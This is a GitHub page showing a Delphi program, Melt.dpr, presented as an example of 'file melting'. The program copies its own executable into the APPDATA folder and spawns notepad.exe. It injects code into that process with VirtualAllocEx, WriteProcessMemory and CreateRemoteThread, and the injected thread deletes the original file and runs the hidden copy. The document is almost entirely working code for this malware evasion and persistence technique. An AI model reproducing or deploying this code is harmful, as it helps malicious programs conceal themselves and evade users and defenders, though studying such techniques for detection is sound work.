-
Notifications
You must be signed in to change notification settings - Fork 5
/
Melt.dpr
305 lines (247 loc) · 7.99 KB
/
Melt.dpr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
{
32Bit Example of File Melting
}
program Melt;
{$APPTYPE CONSOLE}
{$R *.res}
uses
System.SysUtils,
WinAPI.Windows,
shlobj;
type
TRemotePointer = record
Address : Pointer;
Size : Cardinal;
end;
TMeltThreadInfo = record
// WinAPI
GetProcAddress : Pointer;
LoadLibrary : Pointer;
GetLastError : Pointer;
ExitProcess : Pointer;
DeleteFileW : Pointer;
Sleep : Pointer;
WinExec : Pointer;
// Str
sTargetFile : Pointer;
sExecFile : Pointer;
end;
PMeltThreadInfo = ^TMeltThreadInfo;
{
Generate an exception message with Last Error Information
}
function GetLastErrorMessage(AFuncName : String) : String;
begin
result := Format('"%s" call failed with LastError=[%d], Message=[%s].', [
AFuncName,
GetLastError(),
SysErrorMessage(GetLastError())
]);
end;
{
Spawn a new hidden process
}
function Spawn(APEFile : String) : THandle;
var hProc : THandle;
b : Boolean;
AStartupInfo : TStartupInfo;
AProcessInformation : TProcessInformation;
begin
result := INVALID_HANDLE_VALUE;
///
ZeroMemory(@AProcessInformation, SizeOf(TProcessInformation));
ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
AStartupInfo.cb := SizeOf(TStartupInfo);
AStartupInfo.wShowWindow := SW_SHOW;
AStartupInfo.dwFlags := STARTF_USESHOWWINDOW;
UniqueString(APEFile);
b := CreateProcessW(
PWideChar(APEFile),
nil,
nil,
nil,
False,
0,
nil,
nil,
AStartupInfo,
AProcessInformation
);
if not b then
raise Exception.Create(GetLastErrorMessage('CreateProcessW'));
///
result := AProcessInformation.hProcess;
end;
{
Melt File using Process Injection Technique
}
procedure MeltThread(pInfo : PMeltThreadInfo) ; stdcall;
var _GetLastError : function() : DWORD; stdcall;
_ExitProcess : procedure(uExitCode : UINT); stdcall;
_DeleteFileW : function(lpFileName : LPCSTR) : BOOL; stdcall;
_Sleep : procedure(dwMilliseconds : DWORD); stdcall;
_MessageBox : function(hWindow : HWND; lpText : LPCWSTR; lpCaption : LPCWSTR; uType : UINT):integer;stdcall;
_WinExec : function(lpCmdLine : LPCSTR; uCmdShow : UINT) : UINT; stdcall;
begin
@_GetLastError := pInfo^.GetLastError;
@_ExitProcess := pInfo^.ExitProcess;
@_DeleteFileW := pInfo^.DeleteFileW;
@_Sleep := pInfo^.Sleep;
@_WinExec := pInfo^.WinExec;
while not _DeleteFileW(pInfo^.sTargetFile) do begin
if (_GetLastError = ERROR_FILE_NOT_FOUND) then
break;
///
_Sleep(100);
end;
_WinExec(PAnsiChar(pInfo^.sExecFile), SW_SHOW);
_ExitProcess(0);
/// EGG
asm
mov eax, $DEADBEAF;
mov eax, $DEADBEAF;
end;
end;
procedure DoMelt_Injection(ATargetFile, AExecFile : String);
var hProc : THandle;
ABytesWritten : SIZE_T;
AInfo : TMeltThreadInfo;
p : Pointer;
AThreadID : DWORD;
AThreadProc : TRemotePointer;
AInjectedInfo : TRemotePointer;
hKernel32 : THandle;
pSysWow64 : PWideChar;
function FreeRemoteMemory(var ARemotePointer : TRemotePointer) : Boolean;
begin
result := False;
///
if (NOT Assigned(ARemotePointer.Address)) or (ARemotePointer.Size = 0) then
Exit();
result := VirtualFreeEx(hProc, ARemotePointer.Address, ARemotePointer.Size, MEM_RELEASE);
ZeroMemory(@ARemotePointer, SizeOf(TRemotePointer));
end;
function InjectBuffer(pBuffer : PVOID; ABufferSize : Cardinal) : TRemotePointer;
begin
ZeroMemory(@result, SizeOf(TRemotePointer));
///
result.Size := ABufferSize;
result.Address := VirtualAllocEx(hProc, nil, result.Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if result.Address = nil then
raise Exception.Create(GetLastErrorMessage('VirtualAllocEx'));
///
if not WriteProcessMemory(hProc, result.Address, pBuffer, result.Size, ABytesWritten) then begin
FreeRemoteMemory(result);
raise Exception.Create(GetLastErrorMessage('WriteProcessMemory'));
end;
end;
function InjectStringW(AString : String) : TRemotePointer;
begin
result := InjectBuffer(PWideChar(AString), (Length(AString) * SizeOf(WideChar)));
end;
function InjectStringA(AString : AnsiString) : TRemotePointer;
begin
result := InjectBuffer(PAnsiChar(AString), (Length(AString) * SizeOf(AnsiChar)));
end;
function GetFuncSize(pFunc : Pointer) : Cardinal;
{
This is a very dumb but working technique, we scan for our special pattern to
get the address of our last MeltThread instruction.
We skip all epilogue instructions since the thread will end the parent process.
Other techniques exists to know the exact size of a function but is not required
for our example.
}
var I : Integer;
pCurrentRegion : Pointer;
AFound : Boolean;
const EGG : array[0..5-1] of Byte = ($B8, $AF, $BE, $AD, $DE);
begin
I := 0;
AFound := False;
while True do begin
pCurrentRegion := Pointer(NativeUInt(pFunc) + I);
if CompareMem(pCurrentRegion, @EGG, Length(EGG)) then begin
if AFound then begin
result := I - Length(EGG);
break;
end;
AFound := True;
end;
Inc(I);
end;
end;
begin
GetMem(pSysWOW64, MAX_PATH);
try
SHGetSpecialFolderPathW(0, pSysWOW64, CSIDL_SYSTEMX86, False);
finally
FreeMem(pSysWOW64, MAX_PATH);
end;
hProc := Spawn(Format('%s\notepad.exe', [String(pSysWOW64)]));
try
ZeroMemory(@AInfo, SizeOf(TMeltThreadInfo));
{
Prepare Thread Parameter
}
hKernel32 := LoadLibrary('kernel32.dll');
AInfo.GetLastError := GetProcAddress(hKernel32, 'GetLastError');
AInfo.ExitProcess := GetProcAddress(hKernel32, 'ExitProcess');
AInfo.DeleteFileW := GetProcAddress(hKernel32, 'DeleteFileW');
AInfo.Sleep := GetProcAddress(hKernel32, 'Sleep');
AInfo.GetProcAddress := GetProcAddress(hKernel32, 'GetProcAddress');
AInfo.LoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryW');
AInfo.WinExec := GetProcAddress(hKernel32, 'WinExec');
AInfo.sTargetFile := InjectStringW(ATargetFile).Address;
AInfo.sExecFile := InjectStringA(AnsiString(AExecFile)).Address;
try
AThreadProc := InjectBuffer(@MeltThread, GetFuncSize(@MeltThread));
AInjectedInfo := InjectBuffer(@AInfo, SizeOf(TMeltThreadInfo));
if CreateRemoteThread(hProc, nil, 0, AThreadProc.Address, AInjectedInfo.Address, 0, AThreadID) = 0 then
raise Exception.Create(GetLastErrorMessage('CreateRemoteThread'));
WriteLn('Done.');
except
on E: Exception do begin
TerminateProcess(hProc, 0);
raise;
end;
end;
finally
CloseHandle(hProc);
end;
end;
{
Program Entry Point
}
var ACurrentFile : String;
ADestFile : String;
begin
try
ACurrentFile := GetModuleName(0);
ADestFile := Format('%s\%s', [
GetEnvironmentVariable('APPDATA'),
ExtractFileName(GetModuleName(0))
]);
if String.Compare(ACurrentFile, ADestFile, True) = 0 then begin
{
After Melt (New Installed Copy)
}
WriteLn(Format('Melt successfully. I''m running from "%s"', [ACurrentFile]));
WriteLn('Press enter to exit.');
Readln;
end else begin
{
Melt Instance
}
WriteLn('Install our copy and initiate file melting...');
if NOT CopyFile(
PWideChar(ACurrentFile),
PWideChar(ADestFile),
False) then
raise Exception.Create(Format('Could not copy file from "%s" to "%s"', [ACurrentFile, ADestFile]));
DoMelt_Injection(ACurrentFile, ADestFile);
end;
except
on E: Exception do
Writeln(E.ClassName, ': ', E.Message);
end;
end.